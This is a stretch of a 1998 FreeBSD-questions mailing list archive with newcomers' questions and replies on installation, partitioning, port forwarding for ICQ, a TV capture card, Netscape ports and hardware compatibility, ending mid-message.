NAA26116 for ; Mon, 6 Apr 1998 13:04:44 -0400 (EDT) (envelope-from Genius@glasgow.crosswinds.net) Message-ID: <000701bd617e$0258f5c0$2ff648c2@metallica> From: "Ian O'Friel" To: Subject: Help Date: Mon, 6 Apr 1998 18:03:03 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0004_01BD6186.3E5DF9A0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_0004_01BD6186.3E5DF9A0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I have just installed FreeBSD 2.2.5 because I need to learn how to use = multiple Operating Systems, I have well above average knowledge of DOS, = Windows 3.1x/95/NT and OS/2 Warp 3. My next task is to learn FreeBSD. I = have it on a Dual-Boot system with Windows 95 and OS/2 (or should that = be triple boot ?!?) The problem is that the only thing I can get the god-damned thing to do = is run the Installation Program by typing /stand/sysinstall . Is there = any way of getting a Graphical User Interface, can I download one, is = there one with FreeBSD ? Also, How do you play the games, I have several games installed with = FreeBSD like Doom and NetHack. How do I run these ?? Your Help is appreciated. Ian James O'Friel genius@glasgow.crosswinds.net ------=_NextPart_000_0004_01BD6186.3E5DF9A0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
I have just installed FreeBSD = 2.2.5=20 because I need to learn how to use multiple Operating Systems, I have = well above=20 average knowledge of DOS, Windows 3.1x/95/NT and OS/2 Warp 3. My next = task is to=20 learn FreeBSD. I have it on a Dual-Boot system with Windows 95 and OS/2 = (or=20 should that be triple boot ?!?)
 
The problem is that the only = thing I can=20 get the god-damned thing to do is run the Installation Program by typing = /stand/sysinstall .  Is there any way of getting a Graphical User=20 Interface, can I download one, is there one with FreeBSD ?
 
Also, How do you play the = games, I have=20 several games installed with FreeBSD like Doom and NetHack. How do I run = these=20 ??
 
Your Help is = appreciated.
 
Ian James O'Friel
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------=_NextPart_000_0004_01BD6186.3E5DF9A0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 10:34:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA22295 for freebsd-questions-outgoing; Mon, 6 Apr 1998 10:34:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from colossus.dyn.ml.org (dburr@206-18-115-111.la.inreach.net [206.18.115.111]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA22244; Mon, 6 Apr 1998 10:34:36 -0700 (PDT) (envelope-from dburr@colossus.dyn.ml.org) Received: (from dburr@localhost) by colossus.dyn.ml.org (8.8.8/8.8.7) id KAA01859; Mon, 6 Apr 1998 10:39:15 -0700 (PDT) (envelope-from dburr) Message-ID: X-Mailer: XFMail 1.2 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Mon, 06 Apr 1998 10:39:05 -0700 (PDT) Organization: Computer Help From: Donald Burr To: FreeBSD Questions Subject: BrookTree 848 causing my screen to get messed up, how to fix? Cc: FreeBSD Hardware Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- I just acquired a BrookTree 848 based TV capture card. It appears to be a clone; it just says "TV Capturer" on the box, with no apparent manufactuer, etc. But it definitely uses the Bt848 chip, I can see it plain as day on the board. And FreeBSD does recognize it: bktr0 rev 18 int a irq 10 on pci0:10:0 Miro TV, Temic NTSC tuner. In any case, I got the driver compiled, and the fxtv port compiled and working. I can successfully view the TV tuner output in a window on my screen. However, when that window is visible (i.e. not hidden behind any other windows), it causes the rest of my screen to become garbled, so that all windows (xterms, my Netscape browser, etc.) become virtually unreadable. If the window is hidden behind another, nothing gets garbled. The same thing happens when I use the Windows software that came with the card. Any ideas as to what's going on here, and how to fix it? Here, in brief, are the details of my system: Pentium 133, motherboard based on VIA VP 586 Apollo chipset, Creative Labs Graphics Blaster MA202 with 2 MB VRAM (Cirrus Logic CL-GD5446). Other cards in system include Adaptec AHA-2940AU PCI SCSI controller, ISA NE-2000 ethernet clone, USR Sportster 56K modem, Sound Blaster ViBRA16C PnP sound card. Another problem I'm having is that, occasionally, the card gets really confused, and it thinks that it's a PAL card instead of an NTSC card: bktr0 rev 18 int a irq 10 on pci0:10:0 Miro TV, Philips PAL I tuner. Naturally, this means that I can't view anything (being in the USA, our cable systems are NTSC). Switching modes in the FXTV program does *not* work. Any ideas? Please e-mail if possible. Thanks! - --- Donald Burr - Ask me for my PGP key | PGP: Your WWW HomePage: http://DonaldBurr.base.org/ ICQ #1347455 | right to Address: P.O. Box 91212, Santa Barbara, CA 93190-1212 | 'Net privacy. Phone: (805) 957-9666 FAX: (800) 492-5954 | USE IT. -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNSkTOfjpixuAwagxAQG7lAP/a6ZMOg2y1g/D+z2KLD5Xelg1zhXgauMK oTRjYFkn0H631pduYG9G5KpvpTLSiZs6k/V5I4ohsVv9uKmRa5aG+yWZLh9jybW7 Lt7vjdhkkfWn6a0tdJD3TzYIP08cn+Fe4iBZeF5S3G1Q4/vAtggBMx+oiXt+Vb/i NX2cJZ2aqrk= =rLDZ -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:06:21 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA27313 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:06:21 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.inw.net (ns.inw.net [206.28.240.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA27193 for ; Mon, 6 Apr 1998 11:06:07 -0700 (PDT) (envelope-from mcneills@inw.net) Received: from mcneills (keppp27.inw.net [207.2.103.96]) by ns.inw.net (8.8.6/8.8.6) with SMTP id NAA21547; Mon, 6 Apr 1998 13:05:54 -0500 (CDT) Received: by mcneills (VPOP3 - Unregistered) with SMTP; Mon, 6 Apr 1998 13:07:03 -0500 Message-ID: <01f201bd6186$bce247e0$0200a8c0@Dell> Reply-To: "Dennis Reiter" From: "Dennis Reiter" To: "freebsd-questions@freebsd.org" , "Andrew Stevens" Subject: Re: Using ICQ with an IP alias Date: Mon, 6 Apr 1998 13:06:34 -0500 MIME-Version: 1.0 Content-Type: text/plain;charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.71.2038.0 X-MimeOLE: Produced By Microsoft MimeOLE V4.71.2039.0 X-Server: VPOP3 V1.2.5 Unregistered Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm not sure exactly how you'd do this under FreeBSD, because I'm a newbie, but here's how I handled using IPRoute on a DOS machine, so it should be similar: In ICQ, go to the Connection tab and tell it you are behind a firewall, and that you don't use SOCKS,etc. The next window will show where you can select a range of ports to use. Set it to something like 3001 to 3010. It'll complain that that's too narrow, but works OK for me. Then in FreeBSD, tell it to direct any TCP packets coming in on 3001-3010 to the Windows machine. You also need outgoing UDP on Port 4000. Then just set another range for each machine that you want to use. Regards, Denny Reiter denny@kewanee.net ICQ # 823496 "Remember: Wherever you go; There you are." -----Original Message----- From: Andrew Stevens To: freebsd-questions@freebsd.org Date: Sunday, April 05, 1998 6:38 PM Subject: Using ICQ with an IP alias >-- [ From: Andrew Stevens * EMC.Ver #2.5.02 ] -- > >Greetings once again! > > A few days ago my ppp problem was solved. It turned out the I/O card in >my computer was too slow and couldn't communicate to the modem properly. I >now have a new, faster card installed and things have been working without >any errors whatsoever. > > Anyway, now that the gateway is back up, I seem to have a problem running >certain chat programs from my Windows machine, which is now getting its >internet access from my unix box via an IP alias. In particular I have been >using ICQ and Speak Freely; both of which work properly when I get my >internet access directly from the Windows machine itself. For ease of >reading I have divided this quesiton into two parts to deal with the two >programs respectively: > > ICQ: I am able to establish chat sessions only if I initiate them. >Otherwise I will receive the request and click 'accept', but can't get any >further than that. Also, instant messages from other users must be sent >through the ICQ server (as if I'm offline), otherwise, the message "can't >establish direct connection to user" is displayed. > > Speak Freely: The individual I'm talking to can hear me, but I can't hear >them. I can see the RD light on my modem busy, but these signals are not >being passed on to my voice machine. > > I'm sure these problems are connected somehow. I added the necessary >ports to /etc/services in hopes that this would end the problem, but no luck >. I've also tried "alias deny_incoming no" at the ppp prompt. Any thoughts >? > >Thanks, > > >Andrew Stevens. > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:10:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA28294 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:10:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from kaschynna.com (kaschynna.com [206.63.164.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA28213 for ; Mon, 6 Apr 1998 11:10:04 -0700 (PDT) (envelope-from flerll@kaschynna.com) Received: from localhost (flerll@localhost) by kaschynna.com (8.8.8/8.8.8) with SMTP id KAA27711; Mon, 6 Apr 1998 10:58:03 -0700 (PDT) Date: Mon, 6 Apr 1998 10:58:02 -0700 (PDT) From: Jerry Blancher To: "Jason C. Wells" cc: Chris Wianecki , freebsd-questions@FreeBSD.ORG Subject: Re: Dividing HD to partitions for FreeBSD In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The way I handled all my problems of HD room is allocate how-ever much room ya want for swap, then allocate the rest to mount on / that way it will build the other directories that it needs, and every directory has use of the / (root) mount's space. I never have to worry about running out of space in any directory (unless my disk is too small) Jerry _______________________________________________________________________ Kaschynna Communications mailto:flerll@kaschynna.com Internet Presence Provider mailto:flerll@drachenforge.com Coeur d'Alene, Idaho 208.765.9312 208.769.7337 Interactive MU* Hosting http://kaschynna.com/mudhost/ Drachen Forge MUD-telnet drachenforge.com 8000-http://drachenforge.com/ On Sun, 5 Apr 1998, Jason C. Wells wrote: > On Sun, 5 Apr 1998, Chris Wianecki wrote: > > > Hello, I am very new to FreeBSD, I have 4 gig HD and I installed the > > HD to partitions during the installation of FreeBSD. I chosen > > automatic assign, and what the install program set was / 30MB swap > > 137MB /var 30MB /usr all the remaining space Everything would be fine > > but I got lots of errors that /var has not enough space, I am > > How many users are on your system? If it is only you, then something is > going on that is eating up that space. Are you storing files in '/var'? > You should not. The same goes for '/'. > > The '/' partition should not grow in size very much at all. The biggest > consumer of "variable" disc space under '/' is probably the '/etc' > directory. All of the other files are pretty much unchanging. > > > suspecting that / dir would run our of free space pretty soon if it > > '/' should not run out of space per the above. Store all of your > userland tarballs and such under '/usr'. I personally keep all of my > distribution files under '/usr/ports' because that is where Jordan saw > fit to put them. > > See 'man hier' for info on how and why the FreeBSD hierarchy is like it > is. > > > didn't already. Can you advise me what is the best solution for the > > partition sizes? I have 64mb of ram, so I understand that swap should > > be like 128mb or 137 as it was chosen. I will probably want to > > allocate 160MB, but I am not sure what I should do next, how much > > aprox I should allocate for / or /usr or for /var also I want > > something to be left for user directories as well if possible. Thank > > you for your help. > > > > Chris > > For specific numbers listen to someone besides me. My answer was focused > in on one small point that may not apply to you. Because you stated you > were "new" to FreeBSD I jumped to a conclusion. > > Here is one consideration. If you have 100 users, and you want them to > be allowed a 3MB mail spool file, then you should allot more than 300MB > to '/var'. > > Have fun, | Stop warning me about the latest virus. Learn more... > Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:14:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA29593 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:14:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA29528 for ; Mon, 6 Apr 1998 11:14:00 -0700 (PDT) (envelope-from anthony@sohopros.com) From: anthony@sohopros.com Received: from anthony.flashnet (fwasc14-181.flash.net [209.30.26.181]) by endeavor.flash.net (8.8.8/8.8.5) with SMTP id NAA20445; Mon, 6 Apr 1998 13:13:45 -0500 (CDT) Message-Id: <3.0.32.19980406131243.00901170@pop.flash.net> X-Sender: anthony@pop.flash.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 06 Apr 1998 13:12:45 -0500 To: Andrew Subject: Re: help with ports? Cc: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I can not get the port by typing get netscape4.tar.gz. I get an error message saying that the file does not exist. Although I can download the directory if I type get netscape4.tar, but when I untar and make install the files I get error messages: >> communicator-v403b8-export.x86-unknown-freebsd.tar.gz doesn't seem to exist on this system. "the make install then tries to ftp the file from ftp.freebsd... and ftp.netscape... after failing this I get the error messages saying:" ***error code 1 stop ***error code 1 stop ***error code 1 stop # Any ideas what I might be doing wrong. Anthony .... At 10:18 PM 4/6/98 +1000, Andrew wrote: >Worked fine for me. Make sure you are in the /pub/FreeBSD/ports-2.2.5/www >dir and not in the netscape4 dir. First I do >binary >then >get netscape4.tar.gz >seemed to work ok. > >Andrew Perry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:14:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA29745 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:14:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from alpha.xerox.com (firewall-user@alpha.Xerox.COM [13.1.64.93]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id LAA29721 for ; Mon, 6 Apr 1998 11:14:47 -0700 (PDT) (envelope-from leisner@sdsp.mc.xerox.com) Received: from gemini.sdsp.mc.xerox.com ([13.231.132.20]) by alpha.xerox.com with SMTP id <52384(5)>; Mon, 6 Apr 1998 11:14:37 PDT Received: from gnu.sdsp.mc.xerox.com (gnu [13.231.133.90]) by gemini.sdsp.mc.xerox.com (8.8.7/8.8.7) with SMTP id OAA01275; Mon, 6 Apr 1998 14:13:32 -0400 (EDT) Received: from gnu (localhost) by gnu.sdsp.mc.xerox.com (4.1/client-1.3) id AA08838; Mon, 6 Apr 98 14:13:32 EDT Message-Id: <9804061813.AA08838@gnu.sdsp.mc.xerox.com> X-Mailer: exmh version 2.0.2 2/24/98 To: "Bob Hindla" Cc: freebsd-questions@FreeBSD.ORG Subject: Re: FreeBSD & SystemCommander In-Reply-To: Your message of "Sun, 05 Apr 1998 09:44:21 PDT." <01bd60b2$1587abe0$ded454a6@d300.panix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 6 Apr 1998 11:13:31 PDT From: "Marty Leisner" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Could you tell me which versions of system commander FreeBSD is compatible > with? I have 2.2, should I upgrade to 3.0? > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message I haven't had a problem with 2.2...but it seems to set the high partition type bit (from a5 to b5). -- marty leisner@sdsp.mc.xerox.com The Feynman problem solving Algorithm 1) Write down the problem 2) Think real hard 3) Write down the answer Murray Gell-mann in the NY Times To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:18:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA01019 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:18:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from apicsgate.apics-hq.org (wjf.us.net [198.240.73.14] (may be forged)) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA00953 for ; Mon, 6 Apr 1998 11:18:37 -0700 (PDT) (envelope-from s_martin@apics_3.apics-hq.org) Received: from apics_3.apics-hq.org (apics_3.apics-hq.org [207.244.251.2]) by apicsgate.apics-hq.org (8.7.5/8.7.3) with ESMTP id OAA13067 for ; Mon, 6 Apr 1998 14:13:05 -0400 (EDT) Received: from APICS_3/MQUEUE by apics_3.apics-hq.org (Mercury 1.21); 6 Apr 98 14:17:12 -0500 Received: from MQUEUE by APICS_3 (Mercury 1.21); 6 Apr 98 14:17:02 -0500 From: "Sherry Martin" Organization: APICS To: freebsd-questions@FreeBSD.ORG Date: Mon, 6 Apr 1998 14:16:55 -0500 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Block IP address Reply-to: s_martin@apics-hq.org Message-ID: <3192A1127F7@apics_3.apics-hq.org> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am fairly new at the FreeBSD operating system and was hoping someone might be able to answer a question for me. I currently use FreeBSD as my mail gateway and would like to explicity block an IP address -- Can anyone tell me how to do this? Thanks To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:24:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA02689 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:24:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from endeavor.flash.net (endeavor.flash.net [209.30.0.40]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA02669 for ; Mon, 6 Apr 1998 11:24:31 -0700 (PDT) (envelope-from anthony@sohopros.com) From: anthony@sohopros.com Received: from anthony.flashnet (fwasc30-216.flash.net [209.30.57.216]) by endeavor.flash.net (8.8.8/8.8.5) with SMTP id NAA23534 for ; Mon, 6 Apr 1998 13:24:28 -0500 (CDT) Message-Id: <3.0.32.19980406132326.00900220@pop.flash.net> X-Sender: anthony@pop.flash.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Mon, 06 Apr 1998 13:23:28 -0500 To: freebsd-questions@FreeBSD.ORG Subject: communicator-v404 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Does anyone have a copy of: communicator-v404-export.x86-unknown-freebsd.tar.gz that I can download. I reformatted my dive the other day and lost my copy. I have downloaded and installed communicator-v405... about seven times, but either it doesn't work or I'm doing something wrong. I know I can make the v404 work, so I would be grateful for any help. Thank, Anthony .... P.S. this file no longer resides at ftp.netscape.com.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:26:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA03091 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:26:30 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.mexcom.net (ver1-2.uninet.net.mx [200.38.135.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA02706 for ; Mon, 6 Apr 1998 11:24:50 -0700 (PDT) (envelope-from eculp@ver1.telmex.net.mx) Received: from sunix (telmex@sunix.mexcom.net [206.103.64.3]) by ns.mexcom.net (8.8.8/8.8.7) with SMTP id NAA02176 for ; Mon, 6 Apr 1998 13:22:04 -0500 (CDT) Message-ID: <35291F35.711D63C3@ver1.telmex.net.mx> Date: Mon, 06 Apr 1998 13:30:13 -0500 From: Edwin Culp Organization: Mexico Communicates, S.C. X-Mailer: Mozilla 3.01Gold (X11; I; Linux 2.0.14 i586) MIME-Version: 1.0 To: questions@FreeBSD.ORG Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG subscribe questions To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:37:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA04903 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:37:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ns.mexcom.net (ver1-2.uninet.net.mx [200.38.135.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA04668 for ; Mon, 6 Apr 1998 11:36:07 -0700 (PDT) (envelope-from eculp@ver1.telmex.net.mx) Received: from sunix (telmex@sunix.mexcom.net [206.103.64.3]) by ns.mexcom.net (8.8.8/8.8.7) with SMTP id NAA02330 for ; Mon, 6 Apr 1998 13:33:29 -0500 (CDT) Message-ID: <352921E2.1079C6B4@ver1.telmex.net.mx> Date: Mon, 06 Apr 1998 13:41:38 -0500 From: Edwin Culp Organization: Mexico Communicates, S.C. X-Mailer: Mozilla 3.01Gold (X11; I; Linux 2.0.14 i586) MIME-Version: 1.0 To: questions@FreeBSD.ORG Subject: GTK 99.9 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG doing a make on ports in current always stops with a testgtk error. So I haven't been able to compile the new version of Gimp or GTK that it depends on. Anyone else had this problem? Thanks ed P.S. Better question. Has anyone solved the problem? :-) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:40:29 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA05508 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:40:29 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from uniqsite.uniqsite.com. (timm@uniqsite.com [206.14.149.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA05111 for ; Mon, 6 Apr 1998 11:39:20 -0700 (PDT) (envelope-from timm@uniqsite.com) Received: from localhost (timm@localhost) by uniqsite.uniqsite.com. (8.8.7/8.8.7) with SMTP id LAA11720; Mon, 6 Apr 1998 11:39:09 -0700 (PDT) (envelope-from timm@uniqsite.com) Date: Mon, 6 Apr 1998 11:39:09 -0700 (PDT) From: Tim Moony To: Matt Krekel cc: freebsd-questions@FreeBSD.ORG Subject: Re: size of boot.flp file In-Reply-To: <35287005.42214D16@ecst.csuchico.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 5 Apr 1998, Matt Krekel wrote: > > I'm going to attempt to install FreeBSD on my system off of a boot > disk. I have downloaded the file boot.flp. I cannot copy the file over > to a 3.5" disk because the size of the file is too large. Am I doing > something wrong here? Or should I stop being cheap and just spend the > money to get the CD-rom? : ) > Download fdimage.exe to compress boot.flp. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:45:50 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA06436 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:45:50 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from glace.qu.ca.ibm.net (glace.qu.ca.ibm.net [129.37.164.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA06430 for ; Mon, 6 Apr 1998 11:45:32 -0700 (PDT) (envelope-from DEBARB1@investorsgroup.com) Received: from wintermute (advantis.ca [204.187.94.3]) by glace.qu.ca.ibm.net (AIX4.2/UCB 8.7/8.7) with ESMTP id OAA34358 for ; Mon, 6 Apr 1998 14:41:38 -0400 (EDT) Received: from igexch4.igcanada.com ([32.69.8.33]) by wintermute (AIX4.2/UCB 8.7/8.7) with SMTP id OAA85910 for ; Mon, 6 Apr 1998 14:33:36 -0400 (EDT) Received: by igexch4.igcanada.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63) id <01BD6162.560A5950@igexch4.igcanada.com>; Mon, 6 Apr 1998 13:46:01 -0500 Message-ID: From: "de Bari, Baden Rosario (ISM)" To: "'questions@FreeBSD.ORG'" Subject: System Requirements Date: Mon, 6 Apr 1998 13:45:54 -0500 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi... I have been wanting to run a UNIX OS for quite sometime now - due to my constant use and trouble-shooting of Win95 based systems. What I am curious about is generic hardware compatability with FreeBSD. I will be running it on a 54CPI motherboard w/ a P75 - upgradable to 166 (not mmx) with 16 megs of ram (of course this would need to increase) Could you send me some information please. Thanks. brosario@ism.ca Baden Rosario de Bari - IGSA Analyst baden@lords.com Information Systems Management Corporation IBM Global Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:47:59 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA06838 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:47:59 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from glace.qu.ca.ibm.net (glace.qu.ca.ibm.net [129.37.164.60]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA06828 for ; Mon, 6 Apr 1998 11:47:51 -0700 (PDT) (envelope-from DEBARB1@investorsgroup.com) Received: from wintermute (advantis.ca [204.187.94.3]) by glace.qu.ca.ibm.net (AIX4.2/UCB 8.7/8.7) with ESMTP id OAA51552 for ; Mon, 6 Apr 1998 14:44:00 -0400 (EDT) Received: from igexch4.igcanada.com ([32.69.8.33]) by wintermute (AIX4.2/UCB 8.7/8.7) with SMTP id OAA84902 for ; Mon, 6 Apr 1998 14:35:59 -0400 (EDT) Received: by igexch4.igcanada.com with SMTP (Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63) id <01BD6162.AAF4C860@igexch4.igcanada.com>; Mon, 6 Apr 1998 13:48:23 -0500 Message-ID: From: "de Bari, Baden Rosario (ISM)" To: "'questions@FreeBSD.ORG'" Subject: One more question Date: Mon, 6 Apr 1998 13:48:20 -0500 X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.994.63 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Becuase I do use quite a bit of Windows software - is there an option to use windows-based programs with FreeBSD? Thanks. brosario@ism.ca Baden Rosario de Bari - IGSA Analyst baden@lords.com Information Systems Management Corporation IBM Global Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Mon Apr 6 11:54:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA08250 for freebsd-questions-outgoing; Mon, 6 Apr 1998 11:54:46 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from general1.consumersedge.com (mail.personalogic.com [208.213.67.3]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA08225 for ; Mon, 6 Apr 1998 11:54:36 -0700 (PDT) (envelope-from dshanes@personalogic.com) Received: from SHANES by general1.consumersedge.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1458.49) id H555BX6W; Mon, 6 Apr 1998 11:55:12 -0700 Message-ID: <03d801bd618c$d543d4b0$1d43a8c0@shanes.personalogic.com> From: "David Shanes" To: "Greg Lehey" Cc: , "Brett Glass" Subject: Fw: Linux the only non-Microsoft OS that's gaining market share? Date: Mon, 6 Apr 1998 11:50:13 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.2106.4 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Greg, Is there something that you can work out at Walnut Creek? I am sure that you know someone there. I am sure that Walnut Creek can see the obvious benefit to them in $$$ of another party pushing the merits of FreeBSD. Yes, I also sent Marc my letter. David -----Original Message----- From: Brett Glass To: 